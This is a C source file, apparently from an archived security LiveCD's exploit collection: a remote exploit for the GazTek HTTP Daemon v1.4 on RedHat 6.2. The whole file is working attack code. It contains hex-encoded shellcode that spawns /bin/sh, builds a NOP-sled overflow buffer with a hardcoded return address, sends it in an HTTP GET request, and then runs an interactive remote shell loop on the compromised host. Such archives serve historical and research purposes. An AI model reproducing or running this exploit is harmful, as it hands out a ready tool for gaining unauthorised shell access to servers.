home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / gaztek / ghttp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  215 lines

  1. /* 
  2.  * GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
  3.  * by qitest1 - 17/06/2001
  4.  * 
  5.  * Root privileges are dropped out by the daemon, so a shell owned by
  6.  * nobody will be executed. 
  7.  *
  8.  * 0x69.. =) 
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <unistd.h>
  14. #include <netinet/in.h>
  15. #include <netdb.h>
  16.  
  17. #define RETPOS         161
  18.  
  19. struct targ
  20. {
  21.    int                  def;
  22.    char                 *descr;
  23.    unsigned long int    retaddr;
  24. };
  25.  
  26. struct targ target[]=
  27.     {                   
  28.       {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},        
  29.       {69, NULL, 0}                
  30.     };
  31.  
  32.   /* Just the dear old Aleph1's shellcode. This is the only shellcode
  33.    * that seemed to work with this vulnerability. All the other ones 
  34.    * made the daemon crashing too early and zapping out connection, 
  35.    * shell and all their friends.   
  36.    */
  37. char shellcode[] =
  38.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  39.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  40.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  41.  
  42. char            mybuf[RETPOS + 4];
  43.  
  44. int             sockami(char *host, int port);
  45. void        do_mybuf(unsigned long retaddr);
  46. void        shellami(int sock);
  47. void        usage(char *progname);
  48.  
  49. main(int argc, char **argv)
  50. {
  51. int     sel = 0,
  52.         offset = 0,
  53.         sock,
  54.         cnt;
  55. char    *host = NULL,
  56.     sbuf[1024];
  57.  
  58.   printf("\n  GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
  59.   
  60.   if(argc == 1)
  61.         usage(argv[0]);
  62.   while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
  63.     {
  64.    switch(cnt)
  65.         {
  66.    case 'h':
  67.      host = strdup(optarg);
  68.      break;
  69.    case 't':
  70.      sel = atoi(optarg);       
  71.      break;
  72.    case 'o':
  73.      offset = atoi(optarg);
  74.      break;
  75.    default:
  76.      usage(argv[0]);
  77.      break;
  78.         }
  79.     }
  80.   if(host == NULL)
  81.         usage(argv[0]);
  82.  
  83.   printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  84.   printf("+Connecting to %s...\n", host);
  85.   sock = sockami(host, 80);
  86.   printf("  connected\n");
  87.  
  88.   target[sel].retaddr += offset;
  89.   printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
  90.   do_mybuf(target[sel].retaddr);
  91.   printf("  done\n");
  92.  
  93.   sprintf(sbuf, "GET /%s\n\n", mybuf);
  94.   send(sock, sbuf, strlen(sbuf), 0);
  95.   printf("+Overflowing...\n");
  96.  
  97.   printf("+Zzing...\n");
  98.   sleep(2);
  99.   printf("+Getting shell...\n"); 
  100.   shellami(sock);  
  101. }
  102.  
  103.  
  104. int
  105. sockami(char *host, int port)
  106. {
  107. struct sockaddr_in address;
  108. struct hostent *hp;
  109. int sock;
  110.  
  111.   sock = socket(AF_INET, SOCK_STREAM, 0);
  112.   if(sock == -1)
  113.         {
  114.           perror("socket()");
  115.           exit(-1);
  116.         }
  117.  
  118.   hp = gethostbyname(host);
  119.   if(hp == NULL)
  120.         {
  121.           perror("gethostbyname()");
  122.           exit(-1);
  123.         }
  124.  
  125.   memset(&address, 0, sizeof(address));
  126.   memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  127.   address.sin_family = AF_INET;
  128.   address.sin_port = htons(port);
  129.  
  130.   if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
  131.         {
  132.           perror("connect()");
  133.           exit(-1);
  134.         }
  135.  
  136.   return(sock);
  137. }
  138.  
  139.  
  140. void
  141. do_mybuf(unsigned long retaddr)
  142. {
  143. int        i,
  144.         n = 0;
  145. unsigned long     *ret;
  146.  
  147.   memset(mybuf, 0x90, sizeof(mybuf));
  148.   for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
  149.     mybuf[i] = shellcode[n++];
  150.   ret = (unsigned long *)(mybuf + RETPOS);
  151.   *ret = retaddr;
  152.   mybuf[RETPOS + 4] = '\x00';
  153. }
  154.  
  155. void
  156. shellami(int sock)
  157. {
  158. int             n;
  159. char            recvbuf[1024];
  160. char            *cmd = "id; uname -a\n";
  161. fd_set          rset;
  162.  
  163.   send(sock, cmd, strlen(cmd), 0);
  164.  
  165.   while (1)
  166.     {
  167.       FD_ZERO(&rset);
  168.       FD_SET(sock,&rset);
  169.       FD_SET(STDIN_FILENO,&rset);
  170.       select(sock+1,&rset,NULL,NULL,NULL);
  171.       if (FD_ISSET(sock,&rset))
  172.         {
  173.           n=read(sock,recvbuf,1024);
  174.           if (n <= 0)
  175.             {
  176.               printf("Connection closed by foreign host.\n");
  177.               exit(0);
  178.             }
  179.           recvbuf[n]=0;
  180.           printf("%s",recvbuf);
  181.         }
  182.       if (FD_ISSET(STDIN_FILENO,&rset))
  183.         {
  184.           n=read(STDIN_FILENO,recvbuf,1024);
  185.           if (n>0)
  186.             {
  187.               recvbuf[n]=0;
  188.               write(sock,recvbuf,n);
  189.             }
  190.         }
  191.     }
  192.   return;
  193. }
  194.  
  195. void
  196. usage(char *progname)
  197. {
  198. int             i = 0;
  199.   
  200.   printf("Usage: %s [options]\n", progname);
  201.   printf("Options:\n"
  202.          "  -h hostname\n"
  203.          "  -t target\n"
  204.          "  -o offset\n"
  205.          "Available targets:\n");
  206.   while(target[i].def != 69)
  207.         { 
  208.           printf("  %d) %s\n", target[i].def, target[i].descr);
  209.           i++;
  210.         } 
  211.  
  212.   exit(1);
  213. }
  214.  
  215.